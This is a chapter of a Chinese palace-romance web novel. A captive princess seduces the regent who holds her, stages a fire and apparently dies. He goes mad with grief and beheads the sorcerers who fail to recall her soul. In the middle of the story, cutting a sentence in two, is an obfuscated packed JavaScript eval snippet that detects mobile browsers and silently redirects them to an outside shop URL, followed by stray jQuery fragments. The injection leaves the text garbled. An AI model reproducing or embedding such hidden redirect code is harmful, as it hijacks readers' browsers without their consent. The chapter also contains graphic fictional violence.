暮春的雨丝缠绵如泪,沈菀倚在雕花窗边,指尖无意识地描摹着窗棂上暗红的漆痕。这颜色像极了她浓稠噩梦里的颜色——裴野被杀时浑身溢出的血,一汩一股,在素白战袍上绽开妖艳的花。
“王妃,请用药。”侍女捧着黑漆托盘进来,碗中汤药泛着苦涩的荧光。
“放着吧。”沈菀虚弱的声音轻得像一缕烟。
侍女放下药碗,指尖在托盘底下极快地划了几笔。
沈菀眸光微闪,是六爻派来的人。
窗外雨声渐密,掩盖了瓷器落地的声响。
门外传来侍卫凌乱的脚步声,沈菀抹去眼中恨意,换上麻木温顺的表情,她对着铜镜理理鬓角,步摇垂落的弧度恰到好处,多一分轻佻,少一分冷淡。
赵淮渊踏入内室时卷入一阵松木香。他今日着了件月白色锦袍,腰间玉带上悬着那枚她曾亲手绣的香囊。
沈菀望着香囊,胃里翻涌起一阵恶心,面上却绽开最动人的笑靥。
“王爷~”美人俯首陈臣,盈盈屈膝,手腕、脚腕上的金链也随之如银铃作响。
赵淮渊伸手扶她,指尖在她腕间多停留了一刻,在没有得到任何回应后,又悄然收回。
她,只是看着热情,心,依旧是冷的。
菀菀,我是野兽,是怪物,却也能分辨冷暖。
“王妃今日的气色瞧着好些了。”他声音温柔,目光扫过桌上未动的汤药,眉头几不可察地一皱。
沈菀顺势倚进他怀里,指尖抚上他胸口蟠龙纹,恍若呢喃呓语:“昨夜梦见王爷为我描眉,醒来便只剩下牵肠挂肚了。”
沈菀的声音又轻又软,像浸了蜜的果子,一寸寸的腐蚀着赵淮渊的心。
自裴野死后,她从未今日这般柔情似水。
可赵淮渊知道,这不是真正的沈菀。
他捏住她下巴,逼其直视自己,语气依旧温柔:“又在打什么主意?”
没有怨怼,没有不满,只是情人爱侣之间的小小的嗔怪。
沈菀泪窝处泛起水光,要落不落的泪珠,最是惹人怜惜:“王爷囚着我的人也就罢了,奈何菀菀的心也被王爷囚住了。”
她主动凑近,唇瓣贴上他的滚动的喉结:“这些日子臣妾想明白了...这世上,终究是王爷待臣妾最好,菀菀实在不应该为了一个外人,迁怒你我之间得来不易的姻缘。”
赵淮渊陷入了沉默,她是真心的吗?
不是。
那他还要跌入这陷阱吗?
要的。
与其被别人算计,他宁愿被沈菀算计,觊觎不属于自己的东西,总要付出些代价,不是吗。
室内玉兰香气隐隐浮动,即便知道沈菀别有图谋,赵淮渊还是高兴的,就连多日积压在心头的疲惫也瞬间一扫而空。
他抱起沈菀,沈菀则乖顺地环住他的脖颈。
这种不经意的几乎本能的亲近,瞬间让赵淮渊心软的一塌糊涂。
沈菀还愿意敷衍他,愿意要他,就算是无间地狱,他也要去闯。
“菀菀,你终于肯理我了。”他声音沙哑得不成样子,“我好想你,想得要发疯。”
芙蓉帐内,沈菀忍着恶心,迎合着赵淮渊的亲吻。
可当赵淮渊解她衣带时,她故意让袖中瓷片在锦被上刮出细微声响。
“什么声音?”赵淮渊果然警惕的停下动作。
满室的温存顷刻荡然无存。
沈菀神色慌乱的将手腕往身后藏。
这个动作立刻引起男人警觉,他一把扣住她手腕,掀开衣袖,看到她手心里一道新鲜血痕。
“谁给你的瓷片?”赵淮渊眸色骤冷,声音里压抑着愠怒,“菀菀这是打算亲自杀我?”
沈菀的眼泪倏然而落,像断了线的珍珠,委屈道:“王爷日日派人盯着臣妾,妾不过是...不想喝那避子汤,这才偷偷打碎了药盏,没成想还是被王爷发现了。”她咬唇的模样楚楚可怜,“王爷不想让臣妾怀上您的孩子。”
这句话像是惊雷过境,让赵淮渊所有的警惕溃不成军。
他松开钳制,指腹摩挲着她腕上伤痕,心疼又悸动的将人紧紧拥进怀里:“傻菀菀,我哪里舍得给你喝避子汤,都是些培元固本的补药,我怕你不肯喝,所以让底下的侍女谎称是避子汤。”
沈菀眸底的厌恶松动了一瞬,良久,只是伏在赵淮渊的肩头垂泪。
情深如何,他们终究把彼此逼上了绝路。
疯狂的一夜缠绵后,赵淮渊仍舍不得松开沈菀的腰身,充满爱意的、霸道的吻层层叠叠的覆在沈菀瓷白的肌肤。
“今天哪都不想去,就像溺死在菀菀的温柔乡里,这才是我想要的日子,日日夜夜的与菀菀欢好。”
“王爷倒是身强力壮,可菀菀身子骨弱的厉害,经不起您这般折腾。”
沈菀哄着人起身,又哄着人洗漱用膳,最后哄着他穿上朝服。
美人温柔解语的揶揄道:“臣妾本就名声不好,若是在连累您不上早朝,御史台的言官们怕是用吐沫星子淹死臣妾呢。”
赵淮渊一向护短,尤其是沈菀,她的女人岂能受别人指点:“谁敢胡乱编排菀菀的是非,本王必割了他的舌头。”
在一轮又一轮的深吻后,沈菀送赵淮渊离了王府。
沈菀久久伫立在暖阁门前,似是寻常的妇人送自己的丈夫去工作,直到一只通体漆黑的寒鸦落上窗柩,她脸上的含情脉脉瞬间消散的干干净净。
沈菀在寒鸦的翅膀下摸出一截防水的布条,借着残烛微光,看清布条上的蝇头小楷:明日戌时,火起东南。
沈菀将纸条就着烛火焚尽,灰烬飘落在她的双腿上,她的脚踝处依旧绑着沉重的玄铁链子。
但愿明日戌时一过,她再也不会被这根铁链束缚,届时海阔鱼跃,天高鸟飞。
只是在那之前,她要让赵淮渊付出生不如死的代价。
“表哥、外祖,请你们在天有灵,保佑沈菀。”
黄昏浅浅淡淡的落下,沈菀特意换上前日送来的胭脂红纱裙,对着铜镜将唇脂涂得艳若泣血,又取下发间所有金玉,只用一支素木簪松松挽起青丝。
“王爷今日下朝后,可在书房议事?”她状若无意地问正在布菜的侍女。
侍女低头应道:“回王妃,王爷与兵部大人们商议边关急报,说晚些来看您。”
沈菀指尖轻抚过桌边红烛。这是南海进贡的蛟油烛,一支可燃六个时辰,火光极盛。
赵淮渊前日送来时说她怕黑,多点些烛火才好。
“把这些都点上吧。”她指着鎏金烛台上十二支红烛,“本王妃今夜要梳妆的漂亮些。”
侍女没有怀疑,将烛火一一点燃。
沈菀看着跳动的火焰,眸光越发冷漠。
戌时二刻,摄政王府突然响起急促的锣声。
“走水了!寝阁走水了!”
正在书房议事的赵淮渊听到动静,提刀就冲出了书房,赫然瞧见王府东南角,已是一片赤红火海。
那栋他精心为沈菀打造的寝阁,此刻已然被火龙吞噬。
男人脑中迸发出空白的嗡鸣,不顾一切的冲向火场。
“王爷不可!”心腹护卫跪地抱住他的腿,“火势太猛,您不能进去。”
赵淮渊一脚踹开他:“王妃还在里面!”
热浪扑面而来,灼得赵淮渊肌肤生疼。
整座宫殿在火中呻·吟,寝阁大门的铜锁已被烧得通红,赵淮渊扯下大氅,挥舞长刀,生生将铜锁砍断。
热浪裹挟着浓烟灌入肺腑,他的双眼被浓烟呛的双目赤红,呛咳着冲进了火海:“菀菀!沈菀!”
内殿梁柱轰然倒塌,砸在地上时激起一片火雨。
赵淮渊侧身避让,火舌擦过他的脸颊,留下针扎般的灼痛。
铺天盖地的浓烟里他看见瓦砾堆里露出的一角胭脂红裙摆。
男人发疯似的冲进火舌的中央,扑跪在杂乱的瓦砾堆前,徒手扒开滚烫的碎瓷。
肌肤烧焦,指甲翻起也浑然不觉,直到那抹红色完全显现……
沈菀的尸体伏在焦黑的地砖上,半边身子被倒塌的横梁压住,她向来珍视的如瀑青丝被火舌卷去半边,发梢还冒着青烟。鬓边插着的桃木发簪,已经灼烧成扭曲的一团,黏连在烧焦的头皮上。
“菀菀,我带你出去……”
赵淮渊声音抖得不成调,他扯下外袍裹住沈菀,却在触及腰肢的瞬间僵住。
掌心下的躯体轻得可怕,丝绸衣裳一碰就碎成灰烬,露出下面焦黑皲裂的皮肤,曾经纤细柔夷的身体,此刻已经烧的半截焦黑。
房顶又一根横梁砸下,赵淮渊用后背硬生生扛住,剧痛中他感觉有滚烫液体顺着侧脸流下。
而怀中的沈菀,彷佛彻底的从这个世界离开了。
他不敢低头看,只是更紧地将人搂在胸前。
当护卫冒死将赵淮渊拖出火场时,他的半边脸已被火舌灼得血肉模糊,面目狰狞的骇人。
太医要为他诊治,而他却死死抱着那具焦黑尸体不放:“救菀菀,先救王妃!”
老太医战战兢兢探向尸体颈侧,扑通跪下:“王爷节哀,王妃,殁了。”
“胡说!”
赵淮渊厉声打断,却在低头对上怀中人面容的瞬间,如遭雷击般僵住。
那张曾经倾国倾城的脸,如今只剩焦炭般的轮廓。唯独耳垂上一点朱砂痣,在一片漆黑中鲜红刺目。那是他日夜与之耳鬓厮磨时,最爱轻吻的一抹红。
赵淮渊突然大笑狂笑起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747746|186291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
那笑声癫狂至极,像是从胸腔深处硬生生撕扯出来的,尖锐得几乎不似人声,在烈火焚烧的废墟中回荡,可笑着笑着,他的声音骤然扭曲,化作一声撕心裂肺的嚎啕——“菀菀没有死!她只是在与我置气,在与我玩闹呢!”
护卫们僵在原地,惊恐地看着摄政王。
赵淮渊的脸上,被火舌舔舐过的皮肉狰狞外翻,鲜血混着焦黑的碎屑缓缓滑落,可他却像是感觉不到疼似的。
“快……”他轻声呢喃,嗓音沙哑如砂纸摩擦,“给我的菀菀沐浴更衣,她最爱干净了。”
他缓缓俯身,指尖颤抖着抚上怀中那具焦黑的尸体,动作轻柔得像在触碰易碎的珍宝,可声音却阴冷得像是从地狱里爬出来的恶鬼:“我的菀菀还活着……”
狂笑过后,眼底只剩一片猩红。
“谁要是敢说菀菀死了……”
他缓缓抬头,目光扫过在场每一个人,嘴角的笑意森寒刺骨。
“本王就把他活着剁碎,一寸、一寸、喂狗。”
暴雨忽至,浇灭了摄政王府最后的余烬。
蒸腾的雨幕中,赵淮渊如一尊石像伫立在废墟前,雨水冲刷着他脸上凝结的血痂,在玄色蟒袍上晕开暗红的水痕。
他忽然想起昨夜,沈菀温顺地伏在他膝头,仰起脸主动献吻时说“想为他生个孩子”时,眼底那抹羞怯的眸光。
她明明已经融化了这世界上最寒冷的一座冰山,然后又无情残忍的将体无完肤的冰山给抛弃了。
“菀菀......”
男人猝然跪倒在雨地里,膝盖砸进焦黑的泥泖,像头垂死哀鸣的野兽。
“我错了,你醒来好不好?”雨水混着血水从他脸上滑落,高傲的男人近乎哀求,“这世上之人待我薄情寡义,只有你不一样,你是真心待我,你怎么舍得不要我。”
远处惊雷劈开夜幕,一道闪电照亮他半边如玉的侧脸,又一道却曝光了他半边血肉模糊的修罗相。
赵淮渊丢了沈菀,彻头彻尾的疯了。
**
摄政王府的红绸上很快覆盖上了一层白藩,惨白的风灯占据了所有的角落。
府内众人个个面色枯槁,王爷成日抱着那具焦尸坐在灵堂中央。
像只滞留人间的恶鬼。
“菀菀,你冷么?”灵堂前的男人轻声问,声音依旧温柔,像是情人间私语。
堂下跪着被抓来的一票术士,一个个抖若筛糠。
沈菀死后,赵淮渊试遍了所有能让她回来的方法,道家的招魂幡、佛家的往生咒、苗疆的蛊术,甚至西域传来的血祭之法,大衍境内凡是有点名声且又擅长招摇撞骗的术士,无一例外都遭了报应。
如今灵堂外的回廊下,已悬了三十六颗神棍的脑袋,风一吹,活像像一串风干的柿子。
“王爷,”新任钦天监监政跪地叩拜,“子时将至,到了给王妃放七星灯的时辰。”
赵淮渊抬眼。
烛火映照下,半张脸依旧俊美,可另外半张脸却被大火烧穿,阴森可怖。
登时吓得监政也两股战战。
赵淮渊眼珠子猩红,像是浸了血的蛛丝,唇边勾起的弧度险些要撑不住骨子里渗出的疯癫。
“若这次再不成,本王就掀了监政大人的头盖骨当酒盏。”
新上任的监政也是认命了:“是,王爷。”反正来之前就已经在家中安排好了后事。
子时的更鼓响过第七声时,摄政王府的朱漆大门轰然洞开。
三百名披发跣足的术士手持铜铃涌入中庭,围着七层祭坛结成八卦大阵。
赵淮渊抱着焦尸缓步登坛,经幡扫过他的眉骨,竟像是为这幅皮相镀了层冷光。
“起阵——”
随着一声令下,术士们开始吟诵古老的招魂咒。
赵淮渊将焦尸放在七星灯中央,亲手,一只又一只点燃灯芯。
火焰窜起的瞬间,他割开手腕,鲜血顺着手臂滴入灯油,发出滋滋声响。
“沈菀!”男人歇斯底里的呼唤,声音撕裂夜空,“你给本王回来!”
狂风骤起,祭坛四周的经幡猎猎作响。
术士们的吟诵声越来越急,铜铃乱响如百鬼哭嚎。
赵淮渊立在风眼中央,长发飞扬,衣袍翻卷,宛如堕仙。
他死死盯着七星灯,瞳孔里跳动着癫狂的火焰。
一盏灯灭了,两盏、三盏...当第七盏灯熄灭时,依旧没有沈菀的魂魄回应。
赵淮渊愤怒的拔出腰间佩刀,刀光如雪,最前排三个术士的头颅已滚落祭坛。
“废物!都是废物!”
他踩着血泊走下祭坛,刀尖拖出一道猩红痕迹:“既然招不回魂,本王就让整个京都给她殉葬!”